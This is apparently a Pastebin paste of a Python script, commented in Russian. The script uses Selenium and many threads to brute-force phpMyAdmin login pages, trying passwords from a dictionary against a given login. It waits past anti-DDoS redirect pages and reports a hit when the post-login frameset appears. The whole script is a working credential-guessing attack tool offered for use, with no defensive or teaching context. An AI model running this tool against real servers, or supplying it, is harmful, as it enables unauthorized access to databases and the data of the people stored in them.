Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import selenium, time, queue, threading, os, sys, shutil, hashlib, datetime, socket
- from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
- TARGET_URL = sys.argv[1]
- LOGIN = sys.argv[2]
- DICT = sys.argv[3]
- THREADS = int(sys.argv[4])
- # Сколько запросов делаем на один браузер (потом он уничтожается и создаётся заново).
- # Необходимо потому что при долгой работе c одним и тем же объектом браузера начинает глючить.
- ONE_BROWSER_QUERYS_LIMIT = 150
- # На сколько останавливаем работу если сработала защита от DDoS (подождите № секунд, сейчас вы будете перемещены)
- ANTI_DDOS_SLEEP_SECS = 10
- # Настройки для профиля FF
- profile_settings = {'permissions.default.stylesheet': 2,
- 'permissions.default.image': 2,
- 'dom.ipc.plugins.enabled.libflashplayer.so': 'false',
- 'plugin.state.flash': 0}
- # Заполняем очередь паролями
- q = queue.Queue()
- for obj in open(DICT).readlines():
- q.put( obj.strip() )
- # Функция отображения секунд в человеческое время (дни, часы, минуты, секунды)
- def human_time(secs):
- result = ""
- if secs > 60*60*24:
- result += "{0}d ".format( int(secs/(60*60*24)) )
- secs = secs%(60*60*24)
- if secs > 60*60:
- result += "{0}h ".format( int(secs/(60*60)) )
- secs = secs%(60*60)
- if secs > 60:
- result += "{0}m ".format( int(secs/60) )
- secs = secs%60
- if secs:
- result += "{0}s ".format( secs )
- return result
- # Класс с помощью которого потоки знают найден пароль или нет
- class Result:
- login_founded = False
- def get():
- return Result.login_founded
- def set(value):
- Result.login_founded = value
- # Аналог прогресс-бара для консоли
- class Counter:
- counter = 0
- def __init__(self, point, newStr, all_count):
- self.point = point
- self.newStr = newStr
- self.all_count = all_count
- self.start_time = int(time.time())
- def up(self):
- self.counter += 1
- if self.counter%self.point == 0:
- print(".", end='')
- if self.counter%self.newStr == 0:
- percent = round(self.counter / (self.all_count / 100), 2)
- per_sec = round( self.counter / (int(time.time()) - self.start_time) )
- remaning = human_time( int((self.all_count-self.counter) / per_sec) )
- print("(Done {0} from {1} ({2}%), {3}p/s, {4} remaning)".format(self.counter, self.all_count, percent, per_sec, remaning))
- sys.stdout.flush()
- return self
- # Класс рабочих потоков
- class Worker(threading.Thread):
- def __init__(self, q, num, counter):
- super().__init__()
- self.q = q
- self.num = num
- self.counter = counter
- self.browser_requests_counter = 0
- self.browser = None
- self.profile_dir = '/tmp/selenium-ff-profile-{0}'.format(self.num) # Путь к профилю FF текущего потока
- time.sleep(num*2)
- # Метод получения браузера текущего потока
- def _get_browser(self):
- # Если достигли лимита в запросах на браузер - убиваем его и создаём заново
- if self.browser_requests_counter == ONE_BROWSER_QUERYS_LIMIT:
- self._kill_browser()
- self.browser_requests_counter = 0
- if not self.browser:
- self.browser = self._make_browser()
- self.browser_requests_counter += 1
- return self.browser
- def _kill_browser(self):
- if self.browser:
- self.browser.quit()
- del self.browser
- self.browser = None
- def _make_browser(self):
- if os.path.exists(self.profile_dir):
- shutil.rmtree(self.profile_dir)
- os.mkdir(self.profile_dir)
- try:
- firefoxProfile = FirefoxProfile(self.profile_dir)
- for setting in profile_settings:
- firefoxProfile.set_preference(setting, profile_settings[setting])
- return selenium.webdriver.Firefox(firefoxProfile)
- except selenium.common.exceptions.WebDriverException:
- return self._make_browser()
- # Метод определяющий сработала ли защита от DDoS
- # Если да - спит N секунд дожидаясь переадресации
- def _protection_bypass(self, browser):
- while True:
- try:
- browser.find_element_by_id("input_username")
- break
- except selenium.common.exceptions.NoSuchElementException:
- time.sleep(ANTI_DDOS_SLEEP_SECS)
- # Метод получения главной страницы PMA
- def _get_start_page(self, browser):
- try:
- browser.find_element_by_id("input_username")
- except selenium.common.exceptions.NoSuchElementException:
- browser.get(TARGET_URL)
- def _error_log(self, password, text, source):
- source_filename = hashlib.md5(str(datetime.datetime.now()).encode("utf")).hexdigest() + ".html"
- fh = open("errors/error.log", "a")
- fh.write("#{0: ^40}#\n".format( time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
- fh.write("Login: {0}\nPassword: {1}\nError: {2}\nHTML: {3}".format(LOGIN, password, text, source_filename))
- fh.write("#{0: ^40}#\n\n")
- fh.close()
- fh = open("errors/" + source_filename, "w")
- fh.write(source)
- fh.close()
- def run(self):
- while True:
- try:
- password = self.q.get()
- if not Result.get():
- self.counter.up()
- # Открываем главную страницу, обходим anti-DDoS
- browser = self._get_browser()
- self._get_start_page(browser)
- self._protection_bypass(browser)
- #Заполняем форму
- login_field = browser.find_element_by_id("input_username")
- login_field.clear()
- login_field.send_keys(LOGIN)
- password_field = browser.find_element_by_id("input_password")
- password_field.clear()
- password_field.send_keys(password)
- # Жмём кнопку входа
- browser.find_element_by_id("input_go").click()
- # Если в ответе нашли тег frameset - пароль подобран
- if len(browser.find_elements_by_xpath('//frameset')):
- print("YES: {0} - {1}".format(LOGIN, password))
- sys.stdout.flush()
- Result.set(True)
- except queue.Empty:
- self._kill_browser()
- break
- except BaseException as e:
- try:
- page_source = browser.page_source
- except BaseException:
- page_source = "NONE"
- print("E", end="")
- self._error_log(password, str(e), page_source)
- self.q.put(obj)
- finally:
- self.q.task_done()
- self._kill_browser()
- print("#{0: ^40}#".format( time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
- counter = Counter(50, 2000, q.qsize())
- for i in range(THREADS):
- w = Worker(q, i, counter)
- w.daemon = True
- w.start()
- q.join()
- print("#{0: ^40}#".format( time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement